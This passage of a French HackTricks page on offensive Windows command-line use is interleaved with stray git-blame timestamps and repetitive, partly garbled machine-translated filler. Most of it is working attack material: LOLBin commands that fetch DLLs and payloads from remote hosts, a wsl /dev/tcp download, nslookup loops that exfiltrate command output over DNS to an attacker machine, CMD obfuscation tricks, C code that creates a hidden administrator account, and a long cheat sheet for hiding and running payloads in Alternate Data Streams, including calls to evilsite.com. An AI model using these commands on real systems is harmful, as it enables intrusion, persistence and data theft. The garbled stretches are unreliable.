- **-ScanType** : Type d'analyse à effectuer. Les options sont : 0 (analyse rapide), 1 (analyse complète) et 2 (analyse personnalisée).
- **-File** : Analyse un fichier spécifique.
- **-DisableRemediation** : Désactive la suppression automatique des fichiers infectés.
- **-Timeout** : Temps d'attente en secondes pour l'analyse.
- **-FullScan** : Effectue une analyse complète.
- **-BootSectorScan** : Effectue une analyse du secteur de démarrage.
- **-ScanArchives** : Analyse les archives.
- **-TraceLevel** : Niveau de journalisation. Les options sont : 0 (désactivé), 1 (informations), 2 (avertissements) et 3 (erreurs).
- **-TraceFormat** : Format de journalisation. Les options sont : 0 (XML) et 1 (CSV).
- **-TraceMaxFileSize** : Taille maximale du fichier journal en mégaoctets.
- **-GetFilesPath** : Chemin du dossier contenant les fichiers suspects.
- **-RemoveAll** : Supprime toutes les définitions de virus existantes.
- **-Remove** : Supprime une définition de virus spécifique.
## Exemples
- Mettre à jour les définitions de virus :
```
MpCmdRun.exe -SignatureUpdate
```
2023-06-03 13:10:46 +00:00
- Effectuer une analyse rapide :
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
MpCmdRun.exe -Scan -ScanType 0
```
2023-06-03 13:10:46 +00:00
- Analyser un fichier spécifique :
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
MpCmdRun.exe -Scan -File "C:\monfichier.exe"
```
2023-06-03 13:10:46 +00:00
- Désactiver la suppression automatique des fichiers infectés :
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
MpCmdRun.exe -Scan -DisableRemediation
```
2023-06-03 13:10:46 +00:00
- Activer la journalisation des événements de Windows Defender :
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
MpCmdRun.exe -Trace -TraceLevel 1 -TraceFormat 0 -TraceMaxFileSize 10
```
2023-06-03 13:10:46 +00:00
- Récupérer des fichiers suspects pour analyse :
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
MpCmdRun.exe -GetFiles -GetFilesPath "C:\mon_dossier_suspect"
```
2023-06-03 13:10:46 +00:00
- Supprimer toutes les définitions de virus existantes :
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
MpCmdRun.exe -RemoveDefinitions -RemoveAll
```
```
MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
```
2023-06-03 13:10:46 +00:00
# Replace.exe
`Replace.exe` est un outil de ligne de commande qui permet de remplacer des fichiers. Il est souvent utilisé pour remplacer des fichiers système par des fichiers malveillants.
2023-06-03 13:10:46 +00:00
## Syntaxe
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
replace.exe <fichier_original> <fichier_de_remplacement> <fichier_de_sauvegarde>
```
- `<fichier_original>` : le chemin d'accès complet du fichier original que vous souhaitez remplacer.
- `<fichier_de_remplacement>` : le chemin d'accès complet du fichier de remplacement que vous souhaitez utiliser.
- `<fichier_de_sauvegarde>` : le chemin d'accès complet du fichier de sauvegarde que vous souhaitez créer.
## Exemple
```
replace.exe C:\Windows\System32\calc.exe C:\Malware\calc.exe C:\Windows\System32\calc.exe.bak
```
2023-06-03 13:10:46 +00:00
Cet exemple remplace le fichier `calc.exe` dans le répertoire `C:\Windows\System32` par le fichier `calc.exe` malveillant situé dans le répertoire `C:\Malware`. Le fichier original est sauvegardé sous le nom `calc.exe.bak`.
```
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
```
Excel.exe est l'exécutable du logiciel Microsoft Excel, qui est un tableur utilisé pour effectuer des calculs et des analyses de données.
```
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
```
Powerpnt.exe est l'exécutable de Microsoft PowerPoint, un logiciel de présentation largement utilisé pour créer des diaporamas professionnels.
```
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```
# Squirrel.exe
Squirrel.exe est un outil de déploiement et de mise à jour d'applications open source pour Windows. Il est souvent utilisé pour déployer des applications .NET et Electron. Il est important de noter que Squirrel.exe peut être utilisé pour exécuter du code arbitraire sur un système Windows vulnérable.
## Utilisation de Squirrel.exe
Squirrel.exe est souvent utilisé pour déployer des applications .NET et Electron. Il est important de noter que Squirrel.exe peut être utilisé pour exécuter du code arbitraire sur un système Windows vulnérable.
2023-06-03 13:10:46 +00:00
## Détection de Squirrel.exe
Squirrel.exe peut être détecté en recherchant les fichiers exécutables dans les répertoires d'installation des applications .NET et Electron. Il peut également être détecté en recherchant les processus en cours d'exécution sur un système Windows.
## Prévention de l'utilisation malveillante de Squirrel.exe
Pour prévenir l'utilisation malveillante de Squirrel.exe, il est recommandé de limiter l'accès aux systèmes Windows vulnérables. Les utilisateurs doivent également être conscients des risques potentiels associés à l'installation d'applications tierces et doivent éviter d'installer des applications provenant de sources non fiables.
```
squirrel.exe --download [url to package]
```
# Update.exe
`update.exe` est un fichier exécutable Windows qui est souvent utilisé pour mettre à jour des logiciels ou des pilotes. Cependant, il peut également être utilisé par des attaquants pour exécuter des commandes malveillantes sur un système.
Il est important de noter que `update.exe` est un nom de fichier commun et légitime, donc sa présence sur un système ne signifie pas nécessairement une activité malveillante. Cependant, il est important de surveiller les activités suspectes liées à ce fichier.
Les attaquants peuvent utiliser `update.exe` pour exécuter des commandes malveillantes telles que l'installation de logiciels malveillants, la suppression de fichiers ou la collecte d'informations sensibles. Il est donc important de surveiller les activités liées à ce fichier et de s'assurer que les mises à jour logicielles sont effectuées à partir de sources légitimes.
Si vous soupçonnez que `update.exe` est utilisé de manière malveillante sur votre système, vous pouvez effectuer une analyse antivirus complète et surveiller les activités suspectes à l'aide d'outils de surveillance système tels que Process Monitor.
```
Update.exe --download [url to package]
```
Winword.exe est le processus principal de Microsoft Word, l'application de traitement de texte de la suite bureautique Microsoft Office. Ce processus est responsable de l'exécution de Word et de toutes les fonctionnalités associées, telles que la création, l'édition et l'enregistrement de documents. Les attaquants peuvent utiliser des techniques d'ingénierie sociale pour inciter les utilisateurs à ouvrir des documents malveillants contenant des macros ou des exploits, qui peuvent être utilisés pour exécuter du code malveillant sur le système de l'utilisateur. Les administrateurs système peuvent surveiller l'activité de Winword.exe pour détecter toute activité suspecte ou malveillante.
```
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```
Wsl.exe est un outil de ligne de commande qui permet d'interagir avec le sous-système Windows pour Linux (WSL). Il peut être utilisé pour gérer les distributions Linux installées sur Windows 10, ainsi que pour exécuter des commandes Linux directement à partir de l'invite de commande Windows. Les utilisateurs peuvent également utiliser Wsl.exe pour exécuter des scripts shell Linux à partir de l'invite de commande Windows.
```
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
```
## Divers
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
2020-09-07 11:12:11 +00:00
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
2021-03-18 23:05:52 +00:00
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
2022-08-13 13:54:19 +00:00
# Get error messages from code
net helpmsg 32 #32 is the code in that case
```
2023-06-03 13:10:46 +00:00
### Contourner la liste noire de caractères
2022-10-02 21:44:11 +00:00
```bash
2022-10-02 22:00:14 +00:00
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
```
### DOSfuscation
2023-06-03 13:10:46 +00:00
Génère une ligne de commande CMD obfusquée
2022-10-02 22:00:14 +00:00
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
2022-10-02 21:44:11 +00:00
```
2023-06-03 13:10:46 +00:00
### ACL des adresses d'écoute
2022-10-02 21:44:11 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez écouter sur [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) sans être administrateur.
```bash
netsh http show urlacl
```
2023-06-03 13:10:46 +00:00
### Shell DNS manuel
2023-06-03 13:10:46 +00:00
**L'attaquant** (Kali) doit utiliser l'une de ces deux options :
```bash
sudo responder -I <iface> #Active
2020-09-07 11:12:11 +00:00
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
2023-06-03 13:10:46 +00:00
#### Victime
2023-06-03 13:10:46 +00:00
_**for /f tokens**_ \_\*\*\_technique : Cela nous permet d'exécuter des commandes, d'obtenir les X premiers mots de chaque ligne et de les envoyer via DNS à notre serveur.
2022-05-17 09:34:10 +00:00
```
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
2023-06-03 13:10:46 +00:00
Vous pouvez également **rediriger** la sortie, puis la **lire**.
2022-05-17 09:34:10 +00:00
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```
2023-06-03 13:10:46 +00:00
## Appeler CMD depuis du code C
---
### Introduction
In some cases, it may be necessary to call the Windows command prompt (CMD) from C code. This can be useful for automating certain tasks or executing specific commands.
### Using system()
The simplest way to call CMD from C code is to use the `system()` function. This function allows you to execute a command as if it were typed into the command prompt.
Here's an example:
```c
#include <stdlib.h>
int main()
{
system("cmd /c dir");
return 0;
}
```
In this example, the `system()` function is used to execute the `dir` command in CMD. The `/c` flag is used to indicate that the command should be executed and then CMD should exit.
### Using CreateProcess()
Another way to call CMD from C code is to use the `CreateProcess()` function. This function allows you to create a new process and execute a command within that process.
2023-06-03 13:10:46 +00:00
Here's an example:
2023-06-03 13:10:46 +00:00
```c
#include <windows.h>
int main()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Start the child process.
if (!CreateProcess(NULL, // No module name (use command line)
"cmd /c dir", // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi) // Pointer to PROCESS_INFORMATION structure
)
{
printf("CreateProcess failed (%d).\n", GetLastError());
return 1;
}
// Wait until child process exits.
WaitForSingleObject(pi.hProcess, INFINITE);
// Close process and thread handles.
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
```
In this example, the `CreateProcess()` function is used to create a new process and execute the `dir` command in CMD. The `STARTUPINFO` and `PROCESS_INFORMATION` structures are used to specify various options for the new process, such as the command line to execute and the environment block to use.
### Conclusion
Calling CMD from C code can be useful for automating tasks or executing specific commands. The `system()` function is the simplest way to do this, while the `CreateProcess()` function provides more control over the new process.
```c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
2023-06-03 13:10:46 +00:00
## Feuille de triche des flux de données alternatifs (ADS/Alternate Data Stream)
2023-06-03 13:10:46 +00:00
Extrait de [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)
```bash
2022-05-01 12:49:36 +00:00
##Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat
2021-09-06 22:26:52 +00:00
set-content - path {path to the file} - stream {name of the stream}
2022-05-01 12:49:36 +00:00
## Discover ADS contecnt
2020-08-11 12:53:46 +00:00
dir /R
2021-09-06 22:26:52 +00:00
streams.exe <c:\path\to\file> #Binary from sysinternals#
Get-Item -Path .\fie.txt -Stream *
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
2020-08-11 12:53:46 +00:00
2022-05-01 12:49:36 +00:00
##Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
2020-08-11 12:53:46 +00:00
more < c:\ads\file.txt:test.exe
2022-05-01 12:49:36 +00:00
##Executing the ADS content###
* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)
* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209
* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
* Powershell.exe
powershell -ep bypass - < c:\temp:ttt
* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
* Regedit.exe
regedit c:\ads\file.txt:regfile.reg
* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile
* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe
* Cmd.exe
cmd.exe - < fakefile.doc:reg32.bat
https://twitter.com/yeyint_mth/status/1143824979139579904
* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* bash.exe
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>